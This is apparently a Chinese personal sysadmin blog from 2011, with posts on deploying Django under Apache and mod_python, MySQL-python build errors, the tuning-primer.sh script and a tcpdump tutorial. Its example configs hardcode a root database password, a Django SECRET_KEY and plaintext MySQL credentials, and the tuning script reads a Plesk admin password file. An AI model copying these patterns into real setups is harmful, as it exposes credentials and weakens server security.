LINUXQQ

八月 12, 2011

apache django admin 配置

Filed under: python — admin @ 11:58 上午

我把我的配置直接COPY进来,下面是APACHE里面的配置

<VirtualHost 192.168.1.2>
    ServerAdmin linuxqq@linuxqq.net
    DocumentRoot “/var/mysite”
    ServerName py.linuxqq.net
ErrorLog “logs/py.linuxqq.net-error_log”
    CustomLog “logs/py.linuxqq.net_log” common
    <Directory “/var/mysite”>
            Options Indexes FollowSymLinks
            AllowOverride None
            Order allow,deny
            Allow from all
    </Directory>
    Alias /media /var/mysite/html/media/
    <Location “/”>
            SetHandler python-program
            PythonHandler django.core.handlers.modpython
            PythonPath “['/var/mysite','/usr/lib/python2.4/site-packages/django/']+sys.path”
            SetEnv DJANGO_SETTINGS_MODULE settings
            SetEnv PYTHON_EGG_CACHE /tmp/mysite
            PythonDebug On
    </Location>
    <Location “/media/”>
       SetHandler None
    </Location>
    <LocationMatch “(?i)\.(jpg|gif|png|txt|ico|pdf|css|jpeg)$”>
       SetHandler None
    </LocationMatch>
</VirtualHost>

下面是DJANGO的SETTING的配置

DEBUG = False
TEMPLATE_DEBUG = DEBUG

ADMINS = (
    # (‘Your Name’, ‘your_email@example.com’),
)

MANAGERS = ADMINS

DATABASES = {
    ‘default’: {
        ‘ENGINE’: ‘django.db.backends.mysql’, # Add ‘postgresql_psycopg2′, ‘postgresql’, ‘mysql’, ‘sqlite3′ or ‘oracle’.
        ‘NAME’: ‘python’,                      # Or path to database file if using sqlite3.
        ‘USER’: ‘root’,                      # Not used with sqlite3.
        ‘PASSWORD’: ’123456789′,                  # Not used with sqlite3.
        ‘HOST’: ‘localhost’,                      # Set to empty string for localhost. Not used with sqlite3.
        ‘PORT’: ’3306′,                      # Set to empty string for default. Not used with sqlite3.
    }
}

TIME_ZONE = ‘America/Chicago’

LANGUAGE_CODE = ‘zh-CN’

SITE_ID = 1

USE_I18N = True

USE_L10N = True

MEDIA_ROOT = ‘/var/mysite/html’

MEDIA_URL = ‘http://py.linuxqq.net/media/’

STATIC_ROOT = ‘/var/mysite/html/media/’

STATIC_URL = ‘http://py.linuxqq.net/media/’

ADMIN_MEDIA_PREFIX = ‘http://py.linuxqq.net/media/’

STATICFILES_DIRS = (
    # Put strings here, like “/home/html/static” or “C:/www/django/static”.
    # Always use forward slashes, even on Windows.
    # Don’t forget to use absolute paths, not relative paths.
)

STATICFILES_FINDERS = (
    ‘django.contrib.staticfiles.finders.FileSystemFinder’,
    ‘django.contrib.staticfiles.finders.AppDirectoriesFinder’,

)

SECRET_KEY = ’8*v*#(wuh)g%#5ms-ytp%)apkadu508_9&8n2$b8&xdm^hn7xx’

TEMPLATE_LOADERS = (
    ‘django.template.loaders.filesystem.Loader’,
    ‘django.template.loaders.app_directories.Loader’,
)

MIDDLEWARE_CLASSES = (
    ‘django.middleware.common.CommonMiddleware’,
    ‘django.contrib.sessions.middleware.SessionMiddleware’,
    ‘django.middleware.csrf.CsrfViewMiddleware’,
    ‘django.contrib.auth.middleware.AuthenticationMiddleware’,
    ‘django.contrib.messages.middleware.MessageMiddleware’,
)

ROOT_URLCONF = ‘urls’

TEMPLATE_DIRS = (
           ‘/var/mysite/html’,
)

INSTALLED_APPS = (
    ‘django.contrib.auth’,
    ‘django.contrib.contenttypes’,
   ‘django.contrib.sessions’,
     ‘django.contrib.admin’,
     ‘books’,
)

LOGGING = {
    ‘version’: 1,
    ‘disable_existing_loggers’: False,
    ‘handlers’: {
        ‘mail_admins’: {
            ‘level’: ‘ERROR’,
            ‘class’: ‘django.utils.log.AdminEmailHandler’
        }
    },
    ‘loggers’: {
        ‘django.request’: {
            ‘handlers’: ['mail_admins'],
            ‘level’: ‘ERROR’,
            ‘propagate’: True,
        },
    }
}

下面是模型的步骤的步骤

首先在修改MODEL.PY 建立模型

from django.db import models
class BlogPost(models.Model):
    title = models.CharField(max_length=150)
    body = models.TextField()
    timestamp = models.DateTimeField()

然后去admin.py里面注册下

rom django.contrib import admin
from books.models import BlogPost

admin.site.register(BlogPost)

八月 11, 2011

apache加载python

Filed under: python — admin @ 11:15 上午

前一篇文章写的在APACHE安装MOD_PYTHON的经过,其实挺简单,就是版本不兼容的问题.这次我大概说下部署DJANGO的过程.

先修改APACHE配置文件,使其加载mod_python模块

LoadModule python_module libexec/mod_python.so

运行命令查看

bin/httpd -M可以看到

 python_module (shared)
Syntax OK

说明apache已经成功加载mod_python.

下面我说下我的实际的环境和项目情况:

/infoware/xx/web是django程序目录

/infoware/_conf/xx/是控制django的程序还有一些配置(有些配置变量没有写在settings),这一步可以不需要,因为大多数人会直接配置settings文件的.我是在虚拟主机上操作.

–CENTOS5.2+APACHE2.2.11+PYTHON 2.4.3+MOD_PYTHON3.3.1+DJANGO 0.96

下面是apache配置文件

—————————————————-

<VirtualHost *:80>
        ServerAdmin webmaster@xxcom
        DocumentRoot “/infoware/xx/web”
        ServerName www1.xx.com
        ServerAlias www1.xx.com
        ErrorLog “/var/log/apache/xx/xx_error_log”
        CustomLog “/var/log/apache/xx/xx_access_log” common
        <Directory “/infoware/xx/web”>
            Options Indexes FollowSymLinks
            AllowOverride None
            Order allow,deny
            Allow from all

        </Directory>
        <Location “/”>
            SetHandler python-program
            PythonHandler django.core.handlers.modpython
            PythonPath “['/infoware/xx/web']+['/infoware/_conf/xx] + sys.path”
            SetEnv DJANGO_SETTINGS_MODULE settings
            SetEnv PYTHON_EGG_CACHE /tmp/cucrm//这儿是加个变量,会在下面说明
            PythonDebug On
        </Location>
</VirtualHost>

——————————————————————

以上配置一定要注意环境变量的配置,否则会出错!

我在配置前出现了以下错误,##################################################################
Can’t extract file(s) to egg cache The following error occurred while trying to extract file(s) to the Python egg cache: [Errno 13] Permission denied: ‘/root/.python-eggs’ The Python egg cache directory is currently set to: /root/.python-eggs Perhaps your account does not have write access to this directory? You can change the cache directory by setting the PYTHON_EGG_CACHE environment variable to point to an accessible directory.
#################################################################

解决方法就是加环境变量

SetEnv PYTHON_EGG_CACHE /tmp/cucrm//这个目录的权限属主一定要设为APACHE指定的用户,要不就777

大概就这样,仅供参考,如果觉得麻烦的话建议FASTCGI,这个简单点.

七月 26, 2011

tuning-primer.sh

Filed under: linux — admin @ 12:21 下午

CU上看了个非常不错的MYSQL调优工具tuning-primer.sh  

下载地址:http://www.linuxqq.net/downloads/tuning-primer.sh  

运行时你可以选择在用户目录下生成一个保存mysql密码的.my.cnf文件方便下次调用
~/.my.cnf文件内容应该是这样的
cat ~/.my.cnf

  1. [client]
  2. user=test
  3. password=123qwe
  4. socket=/opt/mysql/mysql.sock

./tuning-primer.sh

  1. Using login values from ~/.my.cnf
  2. - INITIAL LOGIN ATTEMPT FAILED -
  3. Testing for stored webmin passwords:
  4.  None Found
  5. Could not auto detect login info!
  6. Found Sockets: /opt/mysql/mysql.sock
  7. Using: /opt/mysql/mysql.sock
  8. Would you like to provide a different socket?: [y/N] n
  9. Do you have your login handy ? [y/N] : y
  10. User: test
  11. Password: 123qwe
  12.  
  13. Would you like me to create a ~/.my.cnf file for you? [y/N] : y
  14.  
  15. ~/.my.cnf already exists!
  16.  
  17. Replace ? [y/N] : y
  18. - FINAL LOGIN ATTEMPT FAILED -
  19. Unable to log into socket: /opt/mysql/mysql.sock

因为我的mysql是编译安装在/opt/mysql/下,这里找不到执行文件,所以没有连接上.
编辑第219和220行,手动修改文件加上路径
vi tuning-primer.sh

  1. 215         if [ -f /etc/psa/.psa.shadow ] ; then
  2.  216                 mysql=”mysql -S $socket -u admin -p$(cat /etc/psa/.psa.shadow)”
  3.  217                 mysqladmin=”mysqladmin -S $socket -u admin -p$(cat /etc/psa/.psa.shadow)”
  4.  218         else
  5.  219                 mysql=”/opt/mysql/bin/mysql”
  6.  220                 mysqladmin=”/opt/mysql/bin/mysqladmin”
  7.  221                 # mysql=”mysql -S $socket”
  8.  222                 # mysqladmin=”mysqladmin -S $socket”
  9.  223         fi

顺带修复生成密码时的错误问题.
第313行”$pass\”后面需加个”n”

  1. 313                         printf “[client]\nuser=$user\npassword=$pass\nsocket=$socket” > ~/.my.cnf

提示:vi中显示行号方法.在命令模式下输入”:set number”

保存后再次运行,在终端上按照问题重要程度分别用黄色/红色字符标记问题
./tuning-primer.sh

  1. – MYSQL PERFORMANCE TUNING PRIMER –
  2.              – By: Matthew Montgomery -
  3.  
  4. MySQL Version 5.1.26-rc x86_64
  5.  
  6. Uptime = 0 days 7 hrs 17 min 18 sec
  7. Avg. qps = 286
  8. Total Questions = 7527430
  9. Threads Connected = 6
  10.  
  11. Warning: Server has not been running for at least 48hrs.
  12. It may not be safe to use these recommendations
  13.  
  14. To find out more information on how each of these
  15. runtime variables effects performance visit:
  16. http://dev.mysql.com/doc/refman/5.1/en/server-system-variables.html
  17. Visit http://www.mysql.com/products/enterprise/advisors.html
  18. for info about MySQL’s Enterprise Monitoring and Advisory Service
  19.  
  20. SLOW QUERIES
  21. The slow query log is NOT enabled.
  22. Current long_query_time = 10.000000 sec.
  23. You have 29 out of 7527516 that take longer than 10.000000 sec. to complete
  24. Your long_query_time seems to be fine
  25.  
  26. BINARY UPDATE LOG
  27. The binary update log is NOT enabled.
  28. You will not be able to do point in time recovery
  29. See http://dev.mysql.com/doc/refman/5.1/en/point-in-time-recovery.html
  30.  
  31. WORKER THREADS
  32. Current thread_cache_size = 80
  33. Current threads_cached = 75
  34. Current threads_per_sec = 0
  35. Historic threads_per_sec = 0
  36. Your thread_cache_size is fine
  37.  
  38. MAX CONNECTIONS
  39. Current max_connections = 350
  40. Current threads_connected = 7
  41. Historic max_used_connections = 208
  42. The number of used connections is 59% of the configured maximum.
  43. Your max_connections variable seems to be fine.
  44.  
  45. No InnoDB Support Enabled!
  46.  
  47. MEMORY USAGE
  48. Max Memory Ever Allocated : 68.78 G
  49. Configured Max Per-thread Buffers : 112.17 G
  50. Configured Max Global Buffers : 2.12 G
  51. Configured Max Memory Limit : 114.29 G
  52. Physical Memory : 15.66 G
  53.  
  54. nMax memory limit exceeds 90% of physical memory
  55.  
  56. KEY BUFFER
  57. Current MyISAM index space = 3.00 G
  58. Current key_buffer_size = 2.00 G
  59. Key cache miss rate is 1 : 3262
  60. Key buffer free ratio = 62 %
  61. Your key_buffer_size seems to be fine
  62.  
  63. QUERY CACHE
  64. Query cache is enabled
  65. Current query_cache_size = 128 M
  66. Current query_cache_used = 61 M
  67. Current query_cache_limit = 2 M
  68. Current Query cache Memory fill ratio = 47.81 %
  69. Current query_cache_min_res_unit = 2 K
  70. Query Cache is 21 % fragmented
  71. Run “FLUSH QUERY CACHE” periodically to defragment the query cache memory
  72. If you have many small queries lower ‘query_cache_min_res_unit’ to reduce fragmentation.
  73. MySQL won’t cache query results that are larger than query_cache_limit in size
  74.  
  75. SORT OPERATIONS
  76. Current sort_buffer_size = 256 M
  77. Current read_rnd_buffer_size = 32 M
  78. Sort buffer seems to be fine
  79.  
  80. JOINS
  81. Current join_buffer_size = 32.00 M
  82. You have had 15 queries where a join could not use an index properly
  83. join_buffer_size >= 4 M
  84. This is not advised
  85. You should enable “log-queries-not-using-indexes”
  86. Then look for non indexed joins in the slow query log.
  87.  
  88. OPEN FILES LIMIT
  89. Current open_files_limit = 51200 files
  90. The open_files_limit should typically be set to at least 2x-3x
  91. that of table_cache if you have heavy MyISAM usage.
  92. Your open_files_limit value seems to be fine
  93.  
  94. TABLE CACHE
  95. Current table_open_cache = 3072 tables
  96. Current table_definition_cache = 256 tables
  97. You have a total of 658 tables
  98. You have 1814 open tables.
  99. The table_cache value seems to be fine
  100. You should probably increase your table_definition_cache value.
  101.  
  102. TEMP TABLES
  103. Current max_heap_table_size = 384 M
  104. Current tmp_table_size = 1.00 G
  105. Of 142450 temp tables, 18% were created on disk
  106. Effective in-memory tmp_table_size is limited to max_heap_table_size.
  107. Created disk tmp tables ratio seems fine
  108.  
  109. TABLE SCANS
  110. Current read_buffer_size = 8 M
  111. Current table scan ratio = 5065 : 1
  112. read_buffer_size seems to be fine
  113.  
  114. TABLE LOCKING
  115. Current Lock Wait ratio = 1 : 25
  116. You may benefit from selective use of InnoDB.
  117. If you have long running SELECT’s against MyISAM tables and perform
  118. frequent updates consider setting ‘low_priority_updates=1′
  119. If you have a high concurrency of inserts on Dynamic row-length tables
  120. consider setting ‘concurrent_insert=2′.

我的my.cnf

  1. [mysqld]
  2. port = 3306
  3. socket = /opt/mysql/mysql.sock
  4. skip-locking
  5. skip-name-resolve
  6. back_log=100
  7. key_buffer_size = 2048M
  8. query_cache_size = 128M
  9. query_cache_limit = 2M #default=1M
  10. query_cache_min_res_unit = 2k #default=4K
  11.  
  12. max_allowed_packet = 16M
  13. table_cache = 3072
  14.  
  15. tmp_table_size = 1024M #default=16M
  16. max_heap_table_size = 384M #default=16M
  17.  
  18. read_buffer_size = 8M
  19. read_rnd_buffer_size = 32M
  20.  
  21. sort_buffer_size = 256M
  22. join_buffer_size = 32M
  23. myisam_sort_buffer_size = 256M
  24. thread_cache_size = 80 #default=0
  25. thread_stack = 192K #default=192K
  26.  
  27. # Try number of CPU’s*2 for thread_concurrency
  28. thread_concurrency = 16 #default=10
  29. connect_timeout = 30
  30. #interactive timeout = 600
  31. max_connection = 350
  32. max_connect_errors = 30
  33. wait_timeout = 30

七月 20, 2011

django admin 设置

Filed under: python — admin @ 2:18 下午

# Include these import statements…
from django.contrib import admin
from django.conf.urls.defaults import *
admin.autodiscover()

# And include this URLpattern…
urlpatterns = patterns(”,
    # …
    (r’^admin/’, include(admin.site.urls)),
    # …
)

顺便理清下自己最近学习PYTHON的思路

 先是URLS  在是VIEWS 然后是模版template

如果新做项目

python manage.py startapp books
接下来编辑books/model.py 里面的文件
添加需要做的数据库
python manage.py validate  这个命令验证模型的有效性
 
python manage.py sqlall books   这个命令查看转换出来的SQL语句
 
python manage.py syncdb      这个命令将SQL 添加到库里
 

模版系统

修改setting.py 将里面TEMPLATE_DIRS = (
           '/var/mysite/html',
)
修改views.py
from django.http import HttpResponse
from django.shortcuts import render_to_response
from django.template import Template, Context
def ua_display_bad(request):
        ua=request.META['HTTP_USER_AGENT']
        return HttpResponse("Your browser is %s" % ua)

def ua_display_good1(request):
        try:
            ua=request.META['HTTP_USER_AGENT']
        except KeyError:
            ua='unknown'
        return HttpResponse("Your browser is %s" % ua)

def ua_display_good2(request):
        ua=request.META.get('HTTP_USER_AGENT','unknown')
        return HttpResponse("Ypur brow is %s" % ua)

def search_form(request):
    return render_to_response('search_form.html')

 

 

URLS里面的设置

 

# Include these import statements...
from django.contrib import admin
from django.conf.urls.defaults import *
from views import *
admin.autodiscover()

# And include this URLpattern...
urlpatterns = patterns('',
    (r'^admin/', include(admin.site.urls)),
    (r'^good1/',ua_display_good1),
    (r'^good2/',ua_display_good2),
    (r'^display/',ua_display_bad),
    (r'^search-form/$',search_form),
)

 

没办法啊 我新手刚学PYTHON。所以记录下来 免的老忘掉 理清思路

七月 19, 2011

/usr/bin/ld: cannot find -lmysqlclient_r

Filed under: python — admin @ 1:08 下午

我的环境 centos 5.2,mysql 5.0.89 版(源码安装的),配置为:

./configure –prefix=/usr/local/mysql –with-charset=utf8 –with-extra-charsets=all

python 是自带的 2.4.3,按照 官方 web.py 0.3 写例子。安装 MySQL-python 想从源码安装,但后来报错

gcc -pthread -shared build/temp.linux-x86_64-2.4/_mysql.o -L/usr/local/mysql/lib/mysql -lmysqlclient_r -lz -lpthread -lcrypt -lnsl -lm -lpthread -o build/lib.linux-x86_64-2.4/_mysql.so
/usr/bin/ld: cannot find -lmysqlclient_r
collect2: ld returned 1 exit status
error: command ‘gcc’ failed with exit status 1

说没有 mysqlclient_r 后 google 到答案:把 mysql-python/site.cfg 的 threadsafe = True 改为 False。就可以安装,的确如此。再看看 mysql 源码里的 ./configure –help 就知道有个 –enable-thread-safe-client 选项,如果安装的时候指定就可以了(就还是用 threadsfe = True)。

安装时又说没有 setuptools 模块,这个可以直接运动 mysql-python/ez_setup.py 即可。 然后 python setup.py install 就可以了。

按照 web.py 0.3 的例子:

import web  
render = web.template.render(‘templates/’)  
db = web.database(dbn=’mysql’, user=’test’, pw=’test’, db=’test’)  
urls = (  
        ‘/’, ‘index’ 
)  
 
class index:  
        def GET(self):  
                todos = db.select(‘todo’)  
                return render.index(todos)  
 
app = web.application(urls, globals())  
 
if __name__ == “__main__”: app.run() 

import web
render = web.template.render(‘templates/’)
db = web.database(dbn=’mysql’, user=’test’, pw=’test’, db=’test’)
urls = (
        ‘/’, ‘index’
)

class index:
        def GET(self):
                todos = db.select(‘todo’)
                return render.index(todos)

app = web.application(urls, globals())

if __name__ == “__main__”: app.run()
然后运行它,打开浏览器访问,N多错误信息。后台错误:

  File “/usr/lib/python2.4/site-packages/web/db.py”, line 641, in select
    return self.query(qout, processed=True)
  File “/usr/lib/python2.4/site-packages/web/db.py”, line 602, in query
    db_cursor = self._db_cursor()
  File “/usr/lib/python2.4/site-packages/web/db.py”, line 533, in _db_cursor
    return self.ctx.db.cursor()
  File “/usr/lib/python2.4/site-packages/web/db.py”, line 474, in _getctx
    self._load_context(self._ctx)
  File “/usr/lib/python2.4/site-packages/web/db.py”, line 485, in _load_context
    ctx.db = self._connect(self.keywords)
  File “/usr/lib/python2.4/site-packages/web/db.py”, line 513, in _connect
    return self.db_module.connect(**keywords)
  File “build/bdist.linux-x86_64/egg/MySQLdb/__init__.py”, line 81, in Connect
  File “build/bdist.linux-x86_64/egg/MySQLdb/connections.py”, line 188, in __init__
OperationalError: (2002, “Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’ (2)”)用 /var/lib/mysql/mysql.sock 肯定链接不上,因为 mysql.sock 在 /tmp/mysql.sock 里。如果你还没安装 mysql,安装 mysql 时可以用 –with-unix-socket-path=/var/lib/mysql/mysql.sock 指定,这就不会报错的。

网上文章已经记录过此问题,没给出解决方案:MySQLdb connect 问题

然后看了 django 连接 mysql 是可以设置 mysql.sock 的。恩那应该 web.py 也可以的。

想找 connections.py 源码又没发现在哪里,原来在 mysql-python/MySQLdb 目录下,看了 __init__,里面有个 unix_socket 变量,恩有救了,于是在 web.py 的例子里加入 unix_socket 参数值。就可以了连接 mysql 了:

db = web.database(dbn=’mysql’, user=’test’, pw=’test’, db=’test’, unix_socket=’/tmp/mysql.sock’) 

db = web.database(dbn=’mysql’, user=’test’, pw=’test’, db=’test’, unix_socket=’/tmp/mysql.sock’)
浏览器终于显示 Learn web.py 了。

比较诡异的是,有时即使安装完成,在python中执行
import MySQLdb
仍然可能出错:
libmysqlclient.so.12: cannot open shared object file: No such file or directory

遇到这种问题,需要在/usr/lib/下为libmysqlclient.so.15设置一个符号链接(这里假设mysql安装在/usr/local/mysql下)
ln -s /usr/lib/mysql/lib/libmysqlclient.so /usr/lib/libmysqlclient.so.15
再次执行
import MySQLdb

五月 28, 2011

linux 发ARP包

Filed under: linux — admin @ 11:56 上午

妈的 LINUX发ARP包 中毒了

用tcpdump -e arp命令抓包来获取局域网信息

tcpdump -qne arp
数据包通讯的mac地址也列出来。

/usr/sbin/tcpdump -vvv 查得运行端口 查看正在运行的端口

fuser查得那端口的运行程序名和傀儡用户。rpm -qf查出文件的根源

Linux命令:Fuser

使用权限:  超级用户

语法格式:

Usage: fuser [ -a | -s | -c ] [ -n SPACE ] [ -SIGNAL ] [ -kimuv ] NAME…
             [ - ] [ -n SPACE ] [ -SIGNAL ] [ -kimuv ] NAME…
       fuser -l
       fuser -V

使用说明

此 fuser 命令列出了本地进程的进程号,那些本地进程使用 File 参数指定的本地或远程文件。
对于阻塞特别设备,此命令列出了使用该设备上任何文件的进程。
每个进程号后面都跟随一个字母,该字母指示进程如何使用文件。
c 将此文件作为当前目录使用。
e 将此文件作为程序的可执行对象使用。
r 将此文件作为根目录使用。
s 将此文件作为共享库(或其他可装载对象)使用。
进程号被写入标准输出(在进程号之间有空格的行中)。
一个换行符被写入标准错误(在每个文件操作数的最后一个输出之后)。其他所有输出被写入标准错误。
此 fuser 命令不会检测有 mmap 区域的进程,其中相关的文件描述符已从此被关闭。

主要参数

Show which processes use the named files, sockets, or filesystems.

    -a        display unused files too
    -c        mounted FS
    -f        silently ignored (for POSIX compatibility)
    -i        ask before killing (ignored without -k)
    -k        kill processes accessing the named file
    -l        list available signal names
    -m        show all processes using the named filesystems
    -n SPACE  search in this name space (file, udp, or tcp)
    -s        silent operation
    -SIGNAL   send this signal instead of SIGKILL
    -u        display user IDs
    -v        verbose output
    -V        display version information
    -4        search IPv4 sockets only
    -6        search IPv6 sockets only
    -         reset options

  udp/tcp names: [local_port][,[rmt_host][,[rmt_port]]]

选项
下面将列出一些用例子的选项,这样可以在你使用这个工具时对你有很大的帮助。这些选项很容易淡忘或与其它类型的滤镜(Filter,笔者认为这里的滤镜实际上指的是其它网络工具)混淆。比如, ethereal。所以,希望这篇文章可以作为一个参考文档,我就是这样使用它的。

首先,我要先介绍几个我认为很方便的tcpdump的选项。第一个是 -n, 这样的话域名就不会被解析了,而是用数字IP的形式显示地址(译者注: 同netstat的-n是一样的喔)。第二个是 -X, 这样就会同时把包的内容以ASCII码和十六制的形式显示。最后一个是 -S, 它个选项会显示绝对序号而不是相对序号。因为当包被隐藏起来的话,你也不会看到奇怪的序号。请谨记,tcpdump较之其它工具的优势之一就是可以与包(packets)手工交互。

值得注意的是,tcpdump默认只会从packet中取出前96个字节。如果你想要多一些的话,那就需要需要把 -s xxxx 加上。这里的xxxx是你确切想要抓取的总字节数。如果我使用这个选项的话,我通常会把这个数字设定为1514而得到所有的数据。下面是一个简短的列表列出我经常使用的选项。

-i any: 监听所有的介面。这样你就知道是不是有流量产生。
-n: 不要解决主机名,以IP数字形式显示主机。
-nn: 不要解析主机名或端口名字。
-X: 同时以十六进制和ASCII字符显示包的数据。
-XX: 同-X,但也会显示 Ethernet头部。
-v, -vv, -vvv: 详细,更详细,再详细些! 冗余输出得到的包信息。
-c: 抓取 x 个包后就停下。
-S: 打印绝对序号。
-e: 同时得到Ethernet头部。
-q: 显示少一点协议信息。
-E: 用提供的密钥解密 IPSEC 流量。
-s: 设置显示前多少个字节的包内容(snaplength)。

tcpdump 4.0的snaplength的长度从68字节改成了96字节,这样你就可以看到多些内容了。但仍然看不到所有的内容,指定 -s 1514 得到包的所有内容。

http://blog.ykyi.net

一些基本的应用
根据我要查看的不同流量,我使用不同的选项组合,如下:

1.Basic communication // see the basics without many options
tcpdump -nS

1.基本通讯,不用太多选项睇睇基本的
tcpdump -nS

2.基本通迅,冗余输出。可以看到好多流量,
tcpdump -nnvvS

3. 深入一点查看流量。
tcpdump -nnvvXS // -X 选项必不会使tcpdump输出更多.

4. 看size大一点的包.
tcpdump -nnvvXSs 1514 // -s 1514 选项设定显示所有包内容。

下面的例子使用我们上文提到的选项抓取两个( -c2 )ICMP包(一个ping和一个pong)。请注意每个包我们都能看到些什么。

blog.ykyi.net# tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
00:20:39.722393 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto ICMP (1), length 84) 192.168.111.128 > 173.83.123.7: ICMP echo request, id 10621, seq 1, length 64
0×0000: 4500 0054 0000 4000 4001 e225 c0a8 6f80 E..T..@.@..%..o.
0×0010: ad53 7b07 0800 64e6 297d 0001 d745 cc4c .S{…d.)}…E.L
0×0020: d005 0b00 0809 0a0b 0c0d 0e0f 1011 1213 …………….
0×0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 ………….!”#
0×0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&’()*+,-./0123
0×0050: 3435 3637 4567
00:20:40.064096 IP (tos 0×0, ttl 128, id 25296, offset 0, flags [none], proto ICMP (1), length 84) 173.83.123.7 > 192.168.111.128: ICMP echo reply, id 10621, seq 1, length 64
0×0000: 4500 0054 62d0 0000 8001 7f55 ad53 7b07 E..Tb……U.S{.
0×0010: c0a8 6f80 0000 6ce6 297d 0001 d745 cc4c ..o…l.)}…E.L
0×0020: d005 0b00 0809 0a0b 0c0d 0e0f 1011 1213 …………….
0×0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 ………….!”#
0×0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&’()*+,-./0123
0×0050: 3435 3637 4567
2 packets captured
2 packets received by filter
0 packets dropped by kernel
blog.ykyi.net#

http://blog.ykyi.net

表达式(Expressions)
使用表达式可以让你略去各种各样的流量而只得到你真正关注的。掌握表达式并且会创造性地使用组合技巧才使你真正发挥tcpdump的力量。有三种主要的表达式: type, dir 和 proto.

Type选项是host, net, 和 port. 方向用 dir 指示。可以这样 src, dst; src 或者 dst; 而且 src 和 dst。下面是一些你应该熟练掌握的例子。

host: 只查看指定IP或者指定主机的流量(当你使用 -n 选项时不可以指定主机名)
blog.ykyi.net# tcpdump host 1.2.3.4

src, dst: 查看从 src 发出的,或者目的地是 dst 的流量(忽略会话的另一端)
•src, dst // find traffic from only a source or destination (eliminates one side of a host conversation)
blog.ykyi.net# tcpdump src 2.3.4.5
blog.ykyi.net# tcpdump dst 3.4.5.6

net: 使用无类别域间路由(CIDR,Classless Inter-Domain Routing)指定要抓包的网络。
# tcpdump net 1.2.3.0/24

proto: 指定要抓取的包的协议类型,可以指定tcp,udp,或icmp。可以不用敲入proto
# tcpdump icmp

port: 只查看从指定端口进出的流量
# tcpdump port 3389

src, dst port: 指定的源地址和端口号,或者目的地址和端口号。只抓取匹配指定地址端口的流量。
# tcpdump src port 1025
# tcpdump dst port 389

src,dst port, protocal : 组合三种指定条件.
# tcpdump src port 1025 and tcp
# tcpdump udp and src port 53

还有一个选项可以让你指定一个端口地址的范围
•Port Ranges
tcpdump portrange 21-23

指定包的大小
•Packet Size Filter // only see packets below or above a certain size (in bytes)
tcpdump less 32
tcpdump greater 128
tcpdump equal 64

tcpdump > 32 // 也可以使用数学符号
tcpdump <= 128

写入文件
用 -w 选项可以指定一个文件,把抓取到的内容存入该文件内。以后还可以用 -r 指定文件,把以前存入的内容再读回来。这是一个相当不错的方法,可以先抓取包,以后再用各种工具分析。

以这种形式抓到的流量是以tcpdump的格式储存的。这种格式在网络分析的工具之间非常通用。这意味着,像 Wireshark, Snort, 等工具也可以读取它。

把出入80端口的所有流量记录到文件中
# tcpdump -s 1514 port 80 -w capture_file

然后,在将来某个时候,你就能够把存在文件中的流量读回,比如:
# tcpdump -r capture_file

创造性的使用tcpdump
表达式确实不错,但是要真正发挥tcpdump的威力来自于创造性地组合使用各种表达式。这样就可以把你想要关注的信息单独抽出来。tcpdump有三种组合方式,如果你稍微懂点计算机,这简直太容易理解了。
1.与操作
and 或者 &&
2.或操作
or 或者 ||
3.非操作
not 或者 !

比如检测来自10.5.2.3去到端口3389的流量
# tcpdump -nnvvS tcp and src 10.5.2.3 and dst port 3389

检测来自网络 192.168.0.0/16 去到网络 10.0.0.0/8 或者网络 172.16.0.0/16 的流量
# tcpdump -nvX src net 192.168.0.0/16 and dst net 10.0.0.0/8 or 172.16.0.0/16

来自网络 172.16.16.0.0/16 去到主机 1292.168.0.2的 ICMP 流量.
# tcpdump -nvvXSs 1514 dst 192.168.0.2 and src net 172.16.0.0/16 and not icmp

从主机名为 Mars(火星) 或者 Pluto(冥王星) 发出的,目的地不是SSH端口的流量
# tcpdump -vv src mars or pluto and not dst port 22

你已经看到了,你可以创建不同的组合来完成不同的需要。关键在于你知道自己需要怎样的数据,然后就可以使用恰当的语法把它们提炼出来。

同时需要牢记在心的是,当你创建复杂的组合时,你可能会需要用单引号把几个选项括起来。使用单引号是为了告诉 tcpdump 忽略特殊字符(译者注: 同BASH一样)。比如这种情况, 一对小括号”()”。同样的技术可以用来把几个表达式括起来,比如 host, port, net 等。看看下面的例子:

要抓取从10.0.2.4出发去到端口3389或端口22的流量。
# tcpdump src 10.0.2.4 and (dst port 3389 or 22) // 错误的写法!

本应该是一个很有用的组合,但是你运行它,你却得到一个错误,因为小括号!你可以用两种方式纠正这个错误。要么在小括号前加上转义字符 \ 或者把整个组合命令用单引号括起来。

# tcpdump ‘src 10.0.2.4 and (dst port 3389 or 22)’ // 现在就对了!

进阶部分
你还可以根据包里面的某些字段来组合各种条件指定你要关注的包。这个功能在你想要查看SYNs和RSTs非常有用。

Show me all URG packets:
查看所有的紧急包(URG包)
# tcpdump ‘tcp[13] & 32 != 0′

查看所有的确认包(ACK包)
# tcpdump ‘tcp[13] & 16 != 0′

查看所有的PSH包
# tcpdump ‘tcp[13] & 8 != 0′

查看所有的RST包
# tcpdump ‘tcp[13] & 4 != 0′

查看所有的SYN包
# tcpdump ‘tcp[13] & 2 != 0′

查看所有的FIN包
# tcpdump ‘tcp[13] & 1 != 0′

查看所有的SYN-ACK包
# tcpdump ‘tcp[13] = 18′

http://blog.ykyi.net

注意:只有PSH, RST, SYN 和 FIN 标志显示在tcpdump的标志域输出中。URG和ACK也会被显示,但显示在其它的地方而不是在标志位中(Flags Field).

你应该明白为什么以上的命令的写法。tcp[13]表示在tcp头的偏移量13字节的位置,然后作了一个布尔判断。

在神奇的Unix世界,一件事通常可以用好几种方式做到。tcpdump也不例外。下面的例子是另一个通过指定tcp包的标志位来查看包的命令。

Capturing TCP Flags Using the tcpflags Option
用 tcpflags 选项来指定 tcp 标志位。

查看SYN包.
# tcpdump ‘tcp[tcpflags] & tcp-syn != 0

特殊流量
查看所有IPv6的流量
# tcpdump ip6

查看所有同时设置了SYN和RST位的流量(仅仅举例,实际上并不可能发生):
# tcpdump ‘tcp[13] = 6′

查看所有的 evil 位被设置的流量
# tcpdump ‘ip[6] & 128 != 0′

转载注明(LINUXQQ)

五月 26, 2011

python 分析日志一例 完善中

Filed under: python — admin @ 12:59 下午

#!/usr/bin/python
import re
import glob
def openfile(openfile):
    f=open(openfile,’r')   
    for line in f.readlines():
